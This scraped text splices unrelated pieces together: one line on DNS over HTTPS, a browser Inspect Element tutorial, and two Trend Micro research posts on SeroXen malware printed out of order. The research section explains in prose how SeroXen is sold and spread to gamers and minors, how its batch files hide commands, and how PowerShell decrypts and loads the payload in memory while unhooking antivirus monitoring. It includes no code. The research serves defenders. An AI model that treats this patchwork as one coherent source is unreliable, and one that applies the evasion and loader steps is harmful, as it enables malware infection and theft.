There are several browsers compatible with DNS over HTTPS (DoH). This protocol lets you encrypt your connection to 1.1.1.1 in order to protect your DNS queries from privacy intrusions and tampering.
Some browsers might already have this setting enabled.
There’s a powerful tool hiding in your browser: Inspect Element.
Right-click on any webpage, click Inspect, and you’ll see the innards of that site: its source code, the images and CSS that form its design, the fonts and icons it uses, the JavaScript code that powers animations, and more. You can see how long the site takes to load, how much bandwidth it used to download, and the exact color in its text.
Or, you could use it to change anything you want on the page.
Inspect Element is a perfect way to learn what makes the web tick, figure out what’s broken on your sites, mock up what a color and font change would look like, and keep yourself from having to Photoshop out private details in screenshots. Here’s how to use Inspect Element—your browser’s secret superpower—to do all the above and more.
Most web browsers include an Inspect Element tool, while Microsoft’s Edge browser includes a similar set of Developer Tools. This tutorial focuses on Inspect Element tools for Google Chrome, Mozilla Firefox, and Apple Safari, but most of the features work the same in other browsers like Brave.
If you’ve never peeked at a website’s code out of curiosity, you might wonder why you should learn how to use Inspect Element. Below are just a few reasons why different roles can benefit from learning this trick of the trade.
Designer: Want to preview how a site design would look on mobile? Or want to see how a different shade of green would look on a sign-up button? You can do both in seconds with Inspect Element.
Marketer: Curious what keywords competitors use in their site headers, or want to see if your site’s loading too slow for Google’s PageSpeed test? Inspect Element can show both.
Writer: Tired of blurring out your name and email in screenshots? With Inspect Element, you can change any text on a webpage in a second.
Support agent: Need a better way to tell developers what needs to be fixed on a site? Inspect Element lets you make a quick example change to show what you’re talking about.
Web developer: Need to look for broken code, compare layouts, or make live edits to a page? Inspect Element does that, too.
For these and dozens of other use cases, Inspect Element is a handy tool to keep around. For now, let’s see how to use the main Elements tab to tweak a webpage on your own.
How to inspect elements with Google Chrome
There are a few ways to access Google Chrome Inspect Element. Just open a website you want to try editing (to follow along with this tutorial, open the Zapier blog post What is AI?), then open the Inspect Element tool in one of these three ways:
Method 1: Right-click anywhere on the webpage, and at the very bottom of the menu that pops up, click Inspect.
Method 2: Click the hamburger menu (the icon with three stacked dots) on the far-right of your Google Chrome toolbar, click More Tools, then select Developer Tools.
Method 3: Prefer keyboard shortcuts? Press command + option + I on a Mac, or Ctrl + Shift + Con a PC to open Inspect Element without clicking anything.
Once you take your preferred route to opening the Developer Tools pane, by default, it will show the Elements tab—that’s the famed Inspect Element tool we’ve been looking for.
If you want to change the orientation of the Inspect Element pane, click the three vertical dots on the top-right side of the Inspect Element pane near the “X” (which you’d click to close the pane). Now, you’ll see options to move the pane to the bottom, left, or right side of your browser or to open the pane in a completely separate window (undock view).
For this tutorial, let’s dock the pane on the right side of our browser window to give us more space to work. You can make the Developer Tools panel wider or narrower by hovering over the left-side border. Once the ↔ cursor appears, drag the pane left to widen it or right to narrow it.
How to inspect elements with Firefox
To get to Inspect Element on Firefox, like Chrome, you have three options.
Method 1: Right-click anywhere on the page and click Inspect at the bottom of the menu.
Method 2: Click the hamburger menu(three horizontal lines at the top-right corner of the window), select More tools, then click Web Developer Tools.
Method 3: The keyboard shortcut on Firefox is command + option + I for Macs and Control + Shift + C for PCs.
The Element pane in Firefox likes to pop up at the bottom of the window, which doesn’t give you much room to work with. To move that pane to the side and free up more room, click the hamburger menu (three horizontal dots, next to the “X” in the top-right corner) and click Dock to Right (or left, if you prefer).
If you like, you can also move the pane into a separate window in this menu. You can also expand the pane further or narrow it by hovering over the edge until your cursor changes, and then drag it to the left or right.
How to inspect elements with Safari
To launch Inspect Element with Safari, you’ll need to activate the developer capabilities in the advanced settings first. Here’s how.
Click the Safari dropdownin the top navigation bar above the Safari window, and then click Preferences.
Navigate to Advanced,and check the box at the bottom of the window by Show Develop menu in the menu bar. Close the window.
Now, you should be able to right-click anywhere on the page and click Inspect Elementto open the Elements pane.
The pane should appear along the bottom of your window. To move it to a side alignment and give yourself a little more space to look at the code, click the Dock to right of window (or left of window) option on the top-left corner of the pane, next to the “X.”
I prefer right, but you can easily switch this to the other side or detach the pane into its own separate window if you prefer. To make the pane wider or narrower, just hover over the edge until the cursor changes to the dragger, then drag to move the edge.
Tools you can access through Inspect Element (+ tutorials)
Now that we’re in Inspect Element, there’s an array of useful tools at our fingertips that we can use to make any site look exactly how we want. For this tutorial, we’ll focus on the Search, Elements, and Emulation tabs. These aren’t the only useful tools Inspect Element opens up—not by a long shot—but they’re extremely helpful ones that beginners can start putting to use right away.
Note that, for simplicity, I’ll be using Chrome to demonstrate, but the instructions should be essentially the same for all three browsers.
Find anything on a site with Inspect Element Search
Wondering what goes into your favorite sites? Search is your best tool for that, aside from reading a site’s entire source code.
You can open the default Elements view, press Ctrl + F or command + F, and search through the source code. But the full Search tool will also let you search through every file on a page, helping you find text inside CSS and JavaScript files or locate an icon image you need for an article.
To get started, open Zapier’s blog article on “What is AI?” in Chrome, then open Inspect Element, click the hamburger menu, and select Search. The Search tab will appear on the bottom half of the Developer Tools pane.
In the search field, you can type anything—anything—that you want to find on this webpage, and it will appear in this pane. Let’s see how we can use this.
Type meta name into the search field, press Enter, and you’ll immediately see every occurrence of “meta name” in the code on this page. Now, you can see this page’s metadata, the SEO keywords it’s targeting, and whether or not it’s configured to let Google index it for search. That’s an easy way to see what your competitors are targeting—and to make sure you didn’t mess anything up on your site.
Search is an effective tool for designers as well since you can search by color, too. Type #ff4a00 into the search field and press Enter (and make sure to check the box beside Ignore case to see all of the results). You should now see every time the color #ff4a00, Zapier’s shade of orange, appears in this site’s CSS and HTML files. Then, just click the line that reads “color: #ff4a00;” to jump to that line in the site’s HTML and tweak it on your own (something we’ll look at in the next section).
This is a handy way for designers to make sure a site is following their brand’s style guide. With the Search tool, designers can easily check the CSS of a webpage to see if a color is applied to the wrong element, if an incorrect font family is used on a webpage, or if you’re still using your old color somewhere on your site.
The Search tool is also the perfect way to communicate with developers better since you can show them exactly where you’ve found a mistake or exactly what needs changing. Just tell them the line number where the problem exists, and you’ll get your fix that much quicker.
Or you can change the webpage yourself with Elements, the core part of Chrome’s Developer Tools.
Change anything with Elements
Front-end developers use the Inspect Element tool every day to modify the appearance of a webpage and experiment with new ideas—and you can, too. Inspect Element lets you tweak the appearance and content of a webpage by adding temporary edits to the site’s CSS and HTML files.
Once you close or reload the page, your changes will be gone; you’ll only see the changes on your computer and aren’t actually editing the real website itself. That way, you can feel free to experiment and change anything—and then copy and save the very best changes to use later.
Let’s see what we can do with it.
Click the Elements tab in the Developer Tools pane—and if you want more room, tap your Esc key to close the search box you had open before. You should see the HTML for this page—now you know how the sausage gets made.
In the top-left corner of the Developer pane, you’ll see an icon of a mouse on top of a square. Click it, then you can select any element on the page you want to change. So let’s change some things!
Change the text on a webpage
Ever wanted to change text on a site? Perhaps to see how a new tagline would look on your homepage or to take your email address off a Gmail screenshot? Now you can.
Click the icon of a mouse cursor on a square in the top-left corner of the pane.
Click any text on the page (like the copy on our “What is AI?” blog), which will correspond with a blue highlight over the related code.
Double-click the highlighted text in the Developer Tools pane (not the text on the live page) to turn it into an editable text field.
Type anything you want in this text field (“Auri is a genius” should work just fine), and press Enter.
Voila! You’ve just (temporarily) changed the text on the webpage.
Refresh the page, and everything will go back to normal.
Fun? Let’s try another way to change some things on this page by closing out of the Developer pane altogether. You can then highlight any part of the live webpage you want to edit, then right-click it and hit Inspect.
When your Developer Tools pane opens, it should automatically highlight that sentence. Pretty neat, huh? It’s the little things that count.
Now that we’ve selected a sentence to change on our blog, let’s change how it looks.
Change the color and font of elements
On the lower half of the Developer Tools pane, you’ll see a sub-pane with a few additional tabs that allow you to change how this text looks on the page. Let’s get started on the Styles tab.
You may notice that some things are crossed out. This means that these styles are not active for the element we’ve selected, so changing these values will have no effect.
Let’s try changing something.
Look through the code for the “font-size” field and click into it. Let’s change it from 34px to 42px.
Now scroll down to “color” and change it to Zapier’s signature #ff4a00.
This will look a bit cramped, so let’s finish by changing the “line-height” to 44px.
Now check the blog post to see the difference.
Now let’s try something really cool.
Change element states
Want to see how a button or link will look once someone interacts with it? Inspect Element can show that, too, with force element state tools. You can see how the element will look once a visitor hovers over the element (hover state), selects the element (focus state), and/or has clicked that link (visited state).
As with the other examples, you’ll need to click the mouse cursor/box icon. For this example, we’ll select the “Artificial Intelligence (AI)” tag on the “What is AI” article to try a color change.
In the Developer Tools pane, right-click on that code in the Elements tab, hover over Force state, and click the :active: option. Do this one more time, but click the :hover: option this time.
That will change the button’s background to black, which is what happens when you hover over the button on the live site.
Now, change the “background-color” value to #ff4a00.
You should instantly be able to see what the new hover color will look like.
Try experimenting—change the :hover: color, then uncheck :hover: in the right-click menu and drag your mouse over the button to see the new button color.
Change images
You can easily change images on a webpage with Inspect Element, too. Using the same “What is AI?” blog post as an example, let’s replace the orange solid color background on the “Power your automation with AI” button with a dramatic photo of a solar flare from NASA.
First, copy this link to the image: https://c1.staticflickr.com/9/8314/7931831962_7652860bae_b.jpg
Open Inspect Element on the orange background of the “Power your automation with AI” button and look for the “background-color” code in the pane.
Click “background-color” and replace color with image—this should cause an error. Just replace the color code with url and then paste the URL you copied into the parentheses.
This should automatically replace that boring single-color background with a flashy new image.
Note: You can also change a photo to a GIF or a video—all you need is a link to the file, and you can add it in.
Editing text is handy, swapping out images is fun, and changing colors and styles just might help you quickly mock up the changes you want made to your site. But how will that new tagline and button design look on mobile?
That’s where Emulation comes in—it’s where everything we’ve reviewed so far can be applied even further. Let’s see how.
Test a site on any device with Emulation
Everything has to be responsive today. Websites are no longer only viewed on computers—they’re more likely than ever to be viewed on a phone, tablet, TV, or just about any other type of screen. You should always keep that in mind when creating new content and designs.
Emulation is a great tool to approximate how websites will look to users across various devices, browsers, and even locations. Though this does not replace actual testing on a variety of devices and browsers, it’s a great start.
In the Developer Tools pane, you’ll notice a little phone icon in the top-left corner. Click it. This should change the page into a tiny, phone-styled page with a menu at the top to change the size.
Resize the small browser to see how things look if you were browsing on a tablet, phone, or even smaller screen. Or, click the menu at the top to select default device sizes like Surface Duo or iPhone 12 Pro—let’s go ahead and select the latter.
The webpage screen should shrink down to the device’s size, and you can zoom in a bit by clicking the percentage dropdown next to the dimensions.
If you change the device preset to “Responsive,” you can enlarge the view by dragging the right edge of the webpage emulation right. See what happens? Dragging the screen along the grid allows you to see how the webpage will change as the screen size changes. You can even toggle portrait and landscape views by clicking the little rotation icon at the end of the top menu.
Play around with the other devices to see how the webpage and screen resolution changes. All of the other developer tools we’ve gone over so far will also react to the device view.
Emulate mobile device sensors
When you start interacting with a device preview, you may notice that your mouse now appears as a little circle on the webpage. This allows you to interact with the page as if you’re on your mobile device.
If you click while dragging the page down, it doesn’t highlight text like it normally would in your browser—it drags the screen down like you’re on a touchscreen device. Using this view, you can see how large touch zones are on a webpage. This means you can see which buttons, icons, links, or other elements are easily touchable with the finger.
You can even make your browser act like a phone. Press your Esc key to open the Search pane in Inspect Element again, and this time click the hamburger menu on the top-right. Select More toolsand then Sensors to get four new tools: Location, Orientation, Touch, and Emulate Idle Detector state.
Touch lets you choose whether the circle selector that acts more like a finger than a normal mouse cursor is forced or device-specific.
Orientation lets you interact with motion-sensitive websites, such as online games that let you move things by moving your phone.
Location lets you pretend you’re in a different location.
Emulate Idle Detector state allows you to toggle between different idle user conditions.
Let’s try viewing this site from Berlin. Just click the dropdown and select the city—nothing changes, right?
This is because there isn’t content on this page that changes based on your location. If you change the coordinates on a site like Groupon.com that uses your location to show localized content, though, you would get different results. Go to Google.com in a different location, and you’ll perhaps see a new Google logo for a holiday in another country, or at least will get the results in a different language.
Emulation is a great way to put yourself in your user’s shoes and consider what the user may be seeing on your webpage—and it’s a fun way to explore the international web.
Emulate mobile networks
You can also see what it’s like to browse a site on different networks—perhaps to see if your site will load even if your users are on a slower 3G network.
To give it a try, click the hamburger menu in the top-right corner of the pane, hover over More tools, and select Network conditions.
There, you can choose from fast or slow 3G, or offline to see how the page works without internet. Or, click Add… to include your own testing (perhaps add 56Kbps to test dial-up internet). Now, reload the page, and you’ll see just how long it’d take for the site to load on a slow connection—and how the site looks while it’s loading. That’ll show why you should improve your site to load faster on slow connections.
You can also change your user agent—uncheck Use browser default in the User agent field and select Firefox — Mac perhaps to see if the site changes its rendering for other browsers on different devices. That’s also a handy hack to make webpages load even if they claim they only work in a different browser.
This is by no means a complete list of things you can do with Inspect Element. As you start exploring, you’ll see many more features. My advice: click all the buttons.
By: Peter Girnus, Aliakbar Zahravi June 20, 2023 Read time: 10 min (2790 words)
This is the third installment of a three-part technical analysis of the fully undetectable (FUD) obfuscation engine BatCloak and SeroXen malware. In this entry, we document the techniques used to spread and abuse SeroXen, as well as the security risks, impact, implications of, and insights into highly evasive FUD batch obfuscators.
The remote access trojan (RAT) SeroXen tool can be purchased on the clearnet. During our investigation, we uncovered multiple domains selling not only this nefarious tool but also a cracked version of it hosted on a popular crack forum. We also uncovered individuals on popular video sites such as YouTube and TikTok acting as distributors for this piece of fully undetectable (FUD) malicious software. At the time of writing, many of these videos remain available for viewing.
In this section, we break down the different platforms that SeroXen uses to spread malware.
Website
The tool SeroXen sports a sleek website with pages that users might expect from any number of websites selling software on the internet. However, sometime between the last week of May and the first week of June, a new shutdown notice has surfaced on its website due to SeroXen’s popularity and cybercriminal efficacy. Considering the content of the notice, there are strong indications that this shutdown is merely for show and that distribution is still ongoing through other platforms and channels.
Prior to the shutdown notice, we observed the main SeroXen website offering a comprehensive list of features to prospective consumers. Examining some of the core features advertised by SeroXen shows a rich feature selection, including:
A Windows Defender-guaranteed bypass for both scan time and runtime.
FUD scan time and runtime evasion against most antivirus engines.
Hidden Virtual Network Computing (hVNC).
Full modern Windows support.
In addition to the sophisticated evasion and FUD component, the inclusion of hVNC is concerning as it is often deployed by highly sophisticated types of malware and advanced persistent threat (APT) groups. The hVNC component allows threat actors to operate a hidden or “virtual” desktop rather than the main desktop to keep the malicious sessions in the background running uninterrupted.
Meanwhile, the SeroXen web application provides users with the option to acquire either a monthly license key or a lifetime key using cryptocurrency.
The SeroXen web application also boasts a product support team available from Monday to Friday following a location for a time zone reference in the US. The Telegram account of the developer is also available for messaging, and the relevant channels are still active. At one point, a Discord account might also have been available for contact, although it was already unavailable at the time of this writing.
During our investigation, we encountered the disclosure of the developers and contributors associated with SeroXen’s development. Notably, the list includes the individual who also contributed to the creation of batch obfuscators such as Jlaive, BatCrypt, CryBat, Exe2Bat, and ScrubCrypt. This direct linkage therefore establishes a clear association between these historical FUD batch obfuscators and the SeroXen malware. In June, we also noticed that the website’s acknowledgments included the social media handle of the distributor.
Social media accounts
While investigating SeroXen’s website, we uncovered a link to a review video hosted on YouTube.
The content is presented as a “review” and facilitated by a reseller. More importantly, it functions not only as an evaluation but also as a promotional advertisement coupled with a tutorial showcasing the capabilities of SeroXen. We found a collection of videos that was also attributed to a reseller of the malware. These videos function to endorse and market SeroXen, reinforcing its presence and appeal within the designated market. Details such as knowledge, discounts offered, and claims of being a distributor indicate the increased likelihood of this user being connected to the owner of the web app.
Certain prospective customers of SeroXen have demonstrated an inclination toward exploring specific aspects associated with illicit activities. Their expressed interest encompasses the use of SeroXen in the context of engaging in potentially unlawful endeavors within the Roblox community.
For context, Roblox is a widely popular video game with a user base of over 214 million active monthly users across the globe, predominantly comprised of minors, with approximately 67% of the player demographic aged below 16 years. In the US, over half of Roblox players are minors. In Figure 10, the significance of the inquiry lies in the potential risks and impact associated with the theft of the .ROBLOSECURITY cookie from an unsuspecting victim. If successfully stolen, this cookie would grant a threat actor the ability to compromise the targeted Roblox account by overriding two-factor authentication (2FA).
This exchange also highlights the risk associated with highly evasive and modular types of malware — namely, a modular design with the ability to load additional components to create a bigger impact on targeted and unwitting victims. In this instance, the reseller mentions the ability to use SeroXen with Hazard, a stealer with many features, including the capability to steal Discord webhooks.
At one point, the distributor sold SeroXen on Discord, but their accounts have a history of being terminated. In an exchange with a prospective customer on YouTube, a YouTube channel owner shows a clear understanding of how this tool will be used for criminal activity, after which they encourage a prospective customer to get in touch with them since they are a reseller. We also uncovered the reseller’s Twitter profile, which hosted more promotional content for SeroXen.
As of this blog entry’s week of publishing, we noted that the social media distributor confirmed that SeroXen’s “sale” (referred to only as “offsale” on the website) is now offline. Still, this mainstream availability and exchange raise substantial concerns, given its occurrence outside the boundaries of underground hacking forums. While researchers and ordinary users alike might expect this kind of complacence and leeway on the darknet, they do not expect the same on a popular mainstream platform such as YouTube. This underscores the potential implications of the exchange, as it indicates that cybercriminals have become bolder in infiltrating mainstream platforms online. In turn, malicious activities and discussions related to illicit cybersecurity practices are now able to infiltrate mainstream online platforms.
Additionally, during the investigation of this reseller’s YouTube profile we uncovered a batch-to-dropper file uploaded to Virus Total around the time of the latest SeroXen promotional video. The name of the batch file matches the username of this reseller’s YouTube profile. This batch attempts to download an infected batch file from Discord and run the infected file that leads to a SeroXen infection.
SeroXen’s forum presence
We also discovered that the author of SeroXen actively engages with prominent hacking enthusiast forums to promote and distribute the malware. This strategic use of established forums catering to the hacking community serves as an additional avenue for the author to market and sell SeroXen, expanding its reach.
Upon investigating the post of SeroXen’s developer, we saw that the author of Jlaive, BatCrypt, CryBat, Exe2Bat, and ScrubCrypt was once again acknowledged as playing a part in the development of SeroXen’s FUD capabilities. Additionally, on another forum, we found a cracked version of SeroXen that allows cybercriminals to bypass the payment requirement set up by the malware’s original developers.
Examining the prevalence and impact of SeroXen
Throughout our investigation of the scope of infections, we discovered a substantial collection of forum posts containing reports from victims who fell prey to the SeroXen infection. This particular strain of malware showed a notable increase in users reporting their infections, with well-meaning individuals advising victims to implement security and antivirus solutions, which all failed to detect any malicious activity. This then perpetuates a distressing cycle of infections driven by the malware’s FUD capabilities.
Understanding SeroXen infections through an analysis of community discussions
We conducted an analysis on Reddit by analyzing reports of SeroXen infections. Many of these posts reported that the users noticed suspicious actions but were powerless to remediate the ongoing infection.
We went through different forum threads and observed a common theme among the scores of individuals whose systems were infected: they were downloading and executing highly suspect pieces of software hosted on Discord and other file-hosting services related to special interests. We also noticed reports of deceptive batch installers (downloaded from GitHub) claiming to be legitimate software installers or tools for highly sought-after applications and interests like Photoshop, image loggers, TikTok, quality-of-life tools, and Tor, among others. The primary intention behind this fraudulent activity is to lure unsuspecting individuals into unintentionally installing malicious programs that lead to compromise.
Based on our analysis of the collected samples, one of the largest target communities are gamers playing popular titles such as Roblox, Valorant, Counter Strike, Call of Duty, and Fortnite. These multiplayer online games contain a rich ecosystem of desirable, high-value, and in-game items that make a rich in-game economy, making them a viable target of malicious actors using SeroXen. In particular, theft appears to be the primary motive driving these infections. Over the years, a thriving underground ecosystem has been established for the illicit resale of stolen in-game items, with a particular emphasis on the popular game Roblox via beaming.
What is Roblox beaming?
Within the Roblox community, the unauthorized sale of items, referred to as “beaming” in the community, has proven itself to be an immensely profitable venture for nefarious actors. It is worth noting that certain rare items within Roblox, known as “limiteds,” can command significant prices that reach thousands of dollars in real-world commercial values. Discord has served as fertile ground for buying and selling these items, allowing cybercriminals to exploit and profit from unsuspecting children who fall victim to their schemes.
During our investigation, we uncovered a thriving underground community using Discord to post stolen cookies to beam victims. Frequently, the practice of beaming is employed to generate content specifically intended for popular online platforms like YouTube and TikTok. Numerous individuals, often including minors, are subjected to beaming for the purpose of entertainment. Over the course of our investigation, we also uncovered many instances of beaming tutorials and how-to videos on both TikTok and YouTube.
Furthermore, our findings have revealed that these video platforms frequently function as recruitment platforms, funneling individuals into beaming Discord channels to engage in unethical and detrimental activities.
FUD batch obfuscation techniques coupled with hVNC-capable toolkits provide actors powerful tools not only for stealing content but also for creating significant psychological distress in communities with a significant number of minors.
Examining SeroXen infections with insights from the Microsoft Support community
During our investigation of the prevalence and impact of SeroXen infections, we also examined posts within the Microsoft Support community. We observed striking similarities between the infection chain reported in this community and the discussions in Reddit. Moreover, a deeper understanding of the actions perpetrated revealed two distinct and concerning patterns. The first pattern involved direct extortion tactics, while the second involved the issuance of threats to victims’ lives through swatting.
Conclusion
Considering the capabilities and potential damage resulting from this tool, the costs for entry are low to null (given the cracked versions available online). This means that both cybercriminals and script kiddies experimenting with malware deployments can avail of SeroXen. Depending on the goals of cybercriminals — whether they care for arrests and notoriety or simply want to spread the tool — the sophistication of the infection routines does not appear to match with the chosen methods for distribution. The almost-amateur approach of using social media for aggressive promotion, considering how it can be easily traced, makes these developers seem like novices by advanced threat actors’ standards. That being said, the real-life consequences of abusing highly evasive malware as a tool to threaten other users via swatting and other threats to personal safety remain highly concerning especially as these developers might interact with online communities populated by minors.
The addition of SeroXen and BatCloak to the malware arsenal of malicious actors highlights the evolution of FUD obfuscators with a low barrier to entry. This can be considered an upcoming trend for a range of cybercriminals who can use a wide range of distribution mechanisms like Discord and social media platforms and their features (such as YouTube and short-from videos in TikTok) to push their preferred types of destructive software for abuse. Additionally, this trend also highlights the potential of highly evasive malware to proliferate in communities that host a significant number of minors who might be ill-equipped to confront destructive pieces of malware. Considering the low-to-nil detections in public repositories once a piece of malware is armed with these tools, this evolution presents new challenges to security teams and organizations alike, especially since FUD obfuscation can be used to deliver any kind of imaginable threat, including those that are not yet known.
Parents and guardians are encouraged to proactively familiarize themselves with the contemporary digital dynamics their children use regularly. This includes gaining an understanding of the various online communities that their children participate in, as well as communicating essential safe online practices and skills to their children. Adults are also encouraged to familiarize themselves with the colloquialisms minors use online and the platforms they frequent. By becoming familiar with these areas and simultaneously equipping children with such knowledge, guardians can play a pivotal role in ensuring everyone’s online safety and well-being.
Trend Vision One™️ enables security teams to continuously identify the attack surface, including known, unknown, managed, and unmanaged cyber assets. It automatically prioritizes risks, including vulnerabilities, for remediation, taking into account critical factors such as the likelihood and impact of potential attacks. Vision One offers comprehensive prevention, detection, and response capabilities backed by AI, advanced threat research, and intelligence. This leads to faster mean time to detect, respond, and remediate, improving the overall security posture and effectiveness.
When uncertain of intrusions, behaviors, and routines, assume compromise or breach immediately to isolate affected artifacts or tool chains. With a broader perspective and rapid response, an organization can address these and keep the rest of its systems protected. Organizations should consider a cutting-edge multilayered defensive strategy and comprehensive security solutions such as Trend Micro™ XDR that can detect, scan, and block malicious content across the modern threat landscape.
Our commitment to online safety
Trend Micro is committed to digital safety through our Trend Micro Initiative for Education , our outreach program that aims to improve internet safety awareness, digital literacy, and malware defense capabilities for a safer digital world. Our initiatives and participation for security and safety include but are not limited to:
If you receive a swatting threat or information that an individual is planning to engage in swatting activities, please report it to local law enforcement and/or the Federal Bureau of Investigation (FBI) at 1-800-CALL-FBI immediately.
By: Peter Girnus, Aliakbar Zahravi June 15, 2023 Read time: 7 min (2020 words)
We looked into the documented behavior of SeroXen malware and noted the inclusion of the latest iteration of the batch obfuscation engine BatCloak to generate a fully undetectable (FUD) .bat loader. This is the second part of a three-part series documenting the abuse of BatCloak’s evasion capabilities and interoperability with other malware.
The recent rise of highly sophisticated malware’s ability to evade detection through fully undetectable (FUD) capabilities, low-cost financial accessibility, and minimal skill barriers have created a pervasive threat targeting online communities and organizations. One particular malware known as SeroXen has deployed an advanced, fully undetectable (FUD) technique via highly obfuscated batch files to infect victims with hVNC-(Hidden Virtual Network Computing) capable malware.
This entry is the second installment of a three-part series featuring BatCloak engine, its iterations, and inclusion in SeroXen malware as the main loading mechanism. The first entry, titled “The Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression,” looked into the beginnings and evolution of the BatCloak obfuscation engine. The third part of this series, “SeroXen Mechanisms: Exploring Distribution, Risks, and Impact,” analyzes the distribution mechanism of SeroXen and BatCloak, including the security impact and insights of FUD batch obfuscation. As of this writing, a quick online search for SeroXen will show top results for an official website and social media and sharing pages with videos on how to use the remote access trojan (RAT) as if it were a legitimate tool. We will go over these dissemination strategies in the subsequent entry.
SeroXen’s FUD batch patterns
To attain FUD status, the obfuscation patterns employed in SeroXen have shown multilayered tiers in its evolution, evolving from notable predecessors such as Jlaive, BatCloak, CryBat, Exe2Bat, and ScrubCrypt. Notably, the author of these FUD tools is acknowledged as a contributor in various instances, including attributions present on the main SeroXen website and forum posts authored by the individual behind SeroXen.
Examining the SeroXen infection chain
To successfully initiate the infection process, the targeted user is lured into executing a batch file. These lures are often presented as software-specific to enthusiast groups such as gaming communities. The infection process’ efficiency is enhanced because of the batch file’s FUD capability.
We found a compilation of compromised archives associated with cheats pertaining to prominent game titles. Each of these archives harbors a highly obfuscated batch file that serves as the infection vector initiating a SeroXen infection. Alarmingly, none of the archives exhibited any form of security solution detection. In most instances, these malicious archives are hosted on the Discord CDN (content delivery network) catering to specific interested communities, but they could also be hosted on any number of cloud storage options as well as special interest forums.
Taking a visual representation of a SeroXen sample submitted to a public repository under the false pretense of being a popular online video game cheat, the sample showcases the comprehensive concealment capabilities inherent. Through investigative analysis, we found a consistent pattern in the dimensions of SeroXen’s obfuscated batch files, which commonly exhibit sizes ranging from approximately 10MB to 15MB.
Analyzing the obfuscation patterns deployed by SeroXen
To develop a comprehensive understanding of the obfuscation algorithm utilized within SeroXen, we conducted an in-depth examination on a multitude of heavily obfuscated batch files. The figure sample exhibits an obfuscated SeroXen batch payload camouflaged under the guise of a Fortnite hack.
The batch obfuscation patterns implemented by the SeroXen FUD algorithm can be summarized as follows:
Suppression of console output through the inclusion of the directive “@echo off”
Utilization of sophisticated string manipulation techniques to obfuscate the initial “set” command
Assignment of the “set” command to a user-defined variable
Assignment of equal operations (“=”) to a user-defined variable
Utilization of steps 3 and 4 to assign values to the additional user-defined variables
Concatenation of variables at the conclusion of the obfuscation process to construct a command, which is subsequently executed
Furthermore, our investigation showed that the implementation of layered obfuscation techniques alongside the incorporation of superfluous code fragments or “junk code” were employed to impede the analysis of the batch file hindering detections.
Summary of commands executed during the SeroXen infection process
We break down the core commands concatenated and executed in order to infect the victim as follows:
Ensure all batch commands run are suppressed with “@echo off”
Copy the PowerShell executable from System32 to the current directory
Set the current directory
Name this copied PowerShell after the batch filename with an appended .exe, such as <mal_bat>.exe
Use the PowerShell command to decrypt and execute the encrypted payload
Build the final PowerShell command used to decrypt the final payload
Use the static operator to decrypt the final payload
Analyzing the deobfuscated SeroXen batch files
During our technical analysis of FUD-enabled SeroXen batch payloads, we were able to deobfuscate the commands associated with its execution and patch key points in its operation to dump the deobfuscated version.
If we compare the deobfuscated sample presented with the highly obfuscated sample (Figure 3), we can demonstrate the core function of the batch script: to generate a series of set commands in an obfuscated manner to evade detection. We see the result of the numerous obfuscated set commands in its deobfuscated equivalent. Throughout the obfuscated batch file, numerous variables are concatenated together to be executed.
Analyzing the final PowerShell decryption command
The PowerShell command to be executed in the FUD obfuscated batch file is a series of hidden PowerShell commands used to decrypt and deliver the .Net loader.
The deobfuscated sequence of PowerShell commands decrypt the payload and employ an assembly reflection mechanism to reflectively load it. The essential characteristics of the final sequence of PowerShell commands include:
Decode payload using Base64
Decrypt payload using AES OR XOR algorithm. In the case of AES:
Instantiate an AES decryption object with the cipher block chaining (CBC) mode
Use a Base64 blob for the key and IV
Unzip the payload
Reflectively load the payload
From the next figure, we demonstrate how the C# loader is decrypted from the deobfuscated batch files, after which we unzip the decrypted archive to drop the .Net binary.
We decoded the payload using Base64, which is then AES-decrypted using the deobfuscated Key and IV and finally gunzipped to reveal the .Net loader. This payload is then loaded into memory using reflection.
Deep dive into SeroXen builder
The SeroXen builder binary file is protected by the Agile .NET. After unpacking the functions and builder resources, this section shows that SeroXen is a modified version of Quasar RAT with a rootkit and other modifications, such as adopting the loader builder Jlaive and BatCloak obfuscation engine to generate a FUD .bat loader. The evolution and technical analysis of Jlaive and BatCloak was discussed in part 1 of this series.
As of this writing, SeroXen offers monthly and lifetime key options for purchase online, as well as instructions for using the RAT. We go over this in detail in the third installment of this series as part of the cybercriminals’ distribution strategies.
SeroXen payload generation process
Upon pressing the “build” button, the builder writes the user-given configuration to the pre-compiled file called “client.bin,” and this produces the Quasar RAT payload and passes it to a function called “Crypt.”
The Crypt function employs the Jlaive crypter multi-stage loader generator and BatCloack obfuscator source code to produce undetectable loaders. This function first reads the Quasar RAT payload content and verifies if it is a valid .NET assembly. Crypt then patches some string and opcode within the binary and encrypts it using the AES algorithm with CBC cipher mode, and saves it as “payload.exe.”
Much like a Jlaive crypter, the builder takes in user configuration and produces the first loader. This is achieved using a C# template file, “Quasar.Server.Stub.cs,” found embedded within its resources. The author has integrated an extra functionality in this adapted version of the Jlaive CreateCS function such as API unhooking.
Apiunhooker.dll is an open-source project called “SharpUnhooker,” which is a C#-based universal API unhooker that automatically Unhooks API Hives (i.e., ntdll.dll, kernel32.dll, advapi32.dll, and kernelbase.dll). This technique is used to attempt evading user-land monitoring done by antivirus technologies and/or endpoint detection and response (EDR) solutions by cleansing or refreshing API DLLs that loaded during the process.
The builder subsequently compiles the C# loader stub, adding necessary files and dependencies such as encrypted Quasart RAT (payload.exe) and SharpUnhooker (Apiunhooker.dll) to its resources.
Next, the builder compresses the C# loader, encrypts it using AES/XOR (depending on the configuration), and encodes it in Base64. Finally, it creates a batch file and includes the encoded C# loader binary into it. It also manages the compression, decoding, and decryption processes using an obfuscated PowerShell script, which is also appended to the batch file.
The batch file’s role is to deobfuscate the PowerShell script and execute it. This PowerShell script scans the content of the batch file for the value following “::“, extracts this value, decodes it, decompresses it, decrypts it, and finally executes it in memory.
Two PowerShell templates, “Qusar.Server.AESStub.ps1” and “Quasar.Server.XORStub.ps1,” exist in the resource section of the builder. Depending on the configuration, one of these will be loaded and utilized.
Conclusion
In this entry, we include a Yara rule that organizations and security teams can use to detect SeroXen obfuscated batch files. Additionally, here’s a PowerShell script that can reveal the final deobfuscated batch file and commands to be run.It is critically important that this PowerShell script be run in an isolated malware sandbox.This script can be used to deobfuscate the SeroXen batch file where security teams can inspect its output file for the PowerShell command to be executed in the deobfuscation routine. By inspecting this deobfuscated payload, the analyst can grab the Key and IV from the PowerShell command to decrypt the final payload.
